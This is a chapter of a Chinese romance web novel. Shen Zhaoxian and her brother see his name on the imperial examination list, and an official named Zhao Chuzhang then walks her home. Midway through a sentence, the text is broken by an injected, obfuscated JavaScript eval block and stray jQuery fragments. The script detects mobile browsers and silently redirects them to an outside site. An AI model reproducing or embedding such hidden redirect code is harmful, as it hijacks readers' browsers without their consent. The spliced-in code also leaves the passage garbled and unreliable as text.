殿试的结果出了，沈昭先和兄长早早就出门去看。


    金榜就贴在东华门外的告示墙上，宽阔的御街上远远望去，黑压压的人群攒动，如同沸水。喧闹声、呼喊声、叹息声混杂在一起。沈维周深吸一口气，努力维持着表面的镇定，但僵硬的身体还是泄露了他内心的激荡。


    沈昭先陪在他身边，能清晰地感受到兄长臂膀的紧绷，她轻声安慰：“别紧张，哥。以你的才学，定能高中。”


    沈维周勉强笑了笑，点了点头。


    沈昭先的目光也投向人群深处，下意识地搜寻着一个身影。她也不知道自己为何会在此刻想起赵楚樟，或许是那句低沉的“昭昭”还萦绕在耳边。


    “看！开始了！放榜了！”人群前方爆发出一阵更响亮的呼喊，如同浪潮般向后席卷。


    负责张贴的礼部官员在兵丁的护卫下，终于出现在告示墙下。一卷长长的明黄色榜单被小心翼翼地展开，粘贴。人群瞬间骚动起来，后面的人拼命向前挤，都想第一时间看到结果。


    沈维周身形高大，护着沈昭先，也奋力向前移动了几步，总算能勉强看清榜文的上半部分。沈昭先的心也跟着提了起来，屏住呼吸，目光急切地在密密麻麻的名字中搜寻。一甲的名字字体最大，最为醒目。


    一榜三甲没有兄长的名字。


    她她将目光转移到二榜上，说不紧张着急是假的。一个名字接着一个名字看下去，其间还能听到周围的人喊着，“我中了！”、“祖宗保佑！”或是“好了！我中了！”的狂喜惊呼，夹杂着未能寻见名字的沉重叹息和压抑的啜泣。人潮的推搡和喧嚣几乎要将人淹没。


    沈昭先的视线在二榜密密麻麻的名字上飞快地掠过，每一次周围爆发的欢呼都让他的身体不易察觉地一僵，目光更加急切地在榜上逡巡。


    “我真的不紧张，我已经看到了自己，”沈昭先听到兄长的声音带着兴奋，顺着兄长手指的方向，沈昭先在二榜的三十四名的位置上看到了沈维周的名字，“看到了吗？”


    “啊啊啊，考上啦！”沈昭先兴奋地几乎要跳起来，她拉着沈维周的手臂摇晃，脸上都是抑制不住的激动和自豪。周围喧闹的人声仿佛都成了背景音，她的世界里只剩下兄长金榜题名这个巨大的喜悦。


    沈维周也终于卸下了所有紧绷，长舒一口气，脸上绽开如释重负又充满光彩的笑容。他反手握住妹妹的手，用力回握了一下，声音带着微微的颤抖：“是啊，考上了！昭昭，今后我们的生活会越来越好！”


    “嗯。”沈昭先用力地点头，她相信兄长能考中进士，即便是进士出身也算是给沈家扬眉吐气了。父亲去世后的那些年收到的屈辱在这一刻，似乎都随着兄长的金榜题名而烟消云散了。


    那份积压了太久的郁气，终于在这一刻得以宣泄，化作兄妹俩眼中闪烁的泪光和紧紧相握的手掌。


    “恭喜绍岐了，绍岐年纪不大，如今金榜题名，前途不可限量啊。”


    很少有人知道兄长的字，沈昭先好奇，于是循声看去，看到一个中年人，他身上的衣服是簇新的布衣，自成一派风流。他的脸上也有着难以言表的喜悦，沈昭先不认识他。但见兄长对他态度十分友好。


    沈维周立刻松开沈昭先的手，郑重地朝那人作揖回礼，脸上是掩饰不住的意气风发：“贤文兄过誉了，贤文兄是二甲十三名，自然是同喜！”他的声音比平日洪亮许多，带着金榜题名后的酣畅淋漓。


    那被称作贤文兄的中年男子笑容满面，显然也是榜上有名之人，他热络地拍了拍沈维周的肩膀：“绍岐太谦虚了！今日大喜，定要好好庆贺一番。令妹也在？真是好福气。”说着，目光转向沈昭先，带着友善的笑意点头致意。


    沈昭先连忙回礼，脸上也带着为兄长高兴的笑容：“见过先生，恭喜先生高中。”她心中虽为兄长欣喜。


    “沈兄，今日放榜，御街附近酒楼怕是早已人满为患，不如我们寻一处清静些的地方小酌两杯，共叙同年之谊？”沈昭先看到还有人去到沈维周身边，显然都是他在开封认识的好友。


    “兄长那我先回去了，你和好友聚一聚？”沈昭先见此就对兄长告别，自己去他们的聚会非常不合适。


    “好，我今天一定回家，你路上小心。”沈维周放心的叮嘱了两句，最近开封治安特别好，没有人敢在此时闹事。


    沈昭先点头，转身离开。但目光还是不由自主地在攒动的人群边缘扫过，仿佛在期待那个熟悉的身影会突然出现，分享这份喜悦。然而喧闹的人潮中并无赵楚樟的踪迹，想来他此刻正忙于巡城公务，分身乏术。


    他职责在身，本就不该奢望他能在此刻出现。一丝淡淡的失落悄然滑过心头，随即又被她压下。


    “沈姑娘？”


    沈昭先听到声音回头，隔着拥挤的人群，她看到了赵楚樟。他正站在人群外围的地方，身着常服，身形挺拔，目光穿过众人，精准地落在了她的身上。


    他的眼神温和依旧，似乎是在巡城间隙特意绕过来查看放榜情形。看到沈昭先回头，他笑得眉眼弯弯，那目光像是一道无形的屏障，为她隔开了周围的喧嚣。


    还没等沈昭先有什么动作，赵楚樟便穿过拥挤的人群去到她的身边，看到金榜上沈维周的名字，发自内心的恭喜，“代我对沈兄弟说一声恭喜。”他的声音带着一丝不易察觉的沙哑，像是连日巡城积累下的疲惫，但落在沈昭先耳中，却比周遭所有的喧哗都更清晰。


    他的目光专注地落在她因兴奋而泛着红晕的脸颊上，那温和的笑意里藏着暖意，“二甲三十四名，令兄才学斐然，实至名归。”


    沈昭先的心像是被什么东西轻轻撞了一下，只余下满满的暖意在心口蔓延。她甚至能感觉到自己的耳尖在微微发烫，“多谢大人。”她迎着他的目光，声音不自觉地放柔，带着一丝不易察觉的雀跃。


    赵楚樟看着她眼中闪烁的为亲人而生的喜悦光芒，目光在她脸上停留了片刻，仿佛要将她此刻的神采刻印下来。拥挤的人潮推搡着，他自然而然地侧身，用自己的身体为她隔开些许冲撞。


    “他此刻定是与同年好友欢聚去了吧？”赵楚樟问道，视线扫过远处沈维周与人谈笑风生的身影。


    “嗯，”沈昭先点头，顺着他的目光


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933285|191408||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看去，兄长的意气风发让她唇角的弧度又上扬了几分，“我正要回去。”


    “正好，”赵楚樟眸光微动，声音依旧温和，却带着不容置疑的体贴，“我巡城至此，现下也准备回衙门。御街人多，我送你一程。”他没有用“顺路”这样的托词，坦然而直接地表达了同行的意愿。


    沈昭先抬眼，对上他深邃的眼，那里面除了温和与疲惫，还有一丝让她心安的沉静。她没有推拒，只是轻轻“嗯”了一声，脸颊上的红晕更深了些：“那……有劳大人了。”


    赵楚樟眼底的笑意更深了，他微微侧身，示意她先行。沈昭先迈开步子，走在他身侧，方才放榜的喧嚣和人群的推挤似乎瞬间被隔离开来，周遭只剩下他沉稳的脚步声和一种难以言喻的宁静。


    人潮拥挤，让他们靠近很近，她能闻到他身上淡淡的皂角的味道，是让她觉得无比安心的气息。两人并肩而行，穿过鼎沸的人声，走向相对清静的街巷深处。


    沉默在他们之间流淌，却不显尴尬，反而有种心照不宣的默契。沈昭先偷偷用余光看他轮廓分明的侧脸。想到他方才在人群外精准找到自己，以及此刻无声的守护，沈昭先的心底泛起阵阵涟漪。她想起那句低沉的“昭昭”，一股暖流悄悄涌上心尖。


    “大人……”她轻声开口，打破了沉默，带着一丝关切，“巡城很辛苦吧？您的脸色……”


    赵楚樟停住脚步，用一种极为认真与珍视的目光看着她，“无妨，职责所在。”他顿了顿，声音低沉了些许，“倒是你，如果我母亲最近来找你，无论她说什么都不要在意，好不好？”


    沈昭先的脚步顿住了，大人的家事她自然是清楚的，对于萧夫人的性格在开封这段时间有所耳闻。兄长不让自己接近大人，就有萧夫人的原因。可情不知所起一往而深，有些事不由人心控制。


    “大人，关于郡王府的事情，我有所耳闻。”她的声音带着坚定，眼神定定看着赵楚樟，“我既然踏出这一步，就知道要面对什么，所以大人不用担心。只要我知道大人是怎么想的，这就够了。”


    赵楚樟凝视着她清澈而坚定的眼眸，那里面没有退缩，只有全然的信任的勇气。她的话语像暖流，冲散了他心底可能因母亲可能带来的阴霾。他的喉结滚动了一下，几乎要控制不住将她拥入怀中的冲动，最终只是深深地看着她。


    “好。”他最终只吐出一个字，这一个字，是对她承诺的回应。同时也在心中暗自发誓，绝不会让沈昭先受到来自母亲的伤害。


    两人继续并肩前行，赵楚樟刻意放慢了脚步，与她保持着微妙的距离，既护着她不被行人冲撞，又不会显得过于亲昵。


    穿过几条相对僻静的巷子，周遭的喧闹渐渐远去，小院就在前方巷口。赵楚樟停下脚步，目光温和地落在沈昭先脸上。


    “到了。”他轻声道。


    沈昭先抬头，看到熟悉的院门，心中竟生出一丝不舍。她定了定神，扬起脸，对他露出一个清浅却明亮的笑容：“嗯，多谢大人相送。”


    赵楚樟看着她的笑，克制着想要抬手触碰的冲动，只是微微点头：“快进去吧。”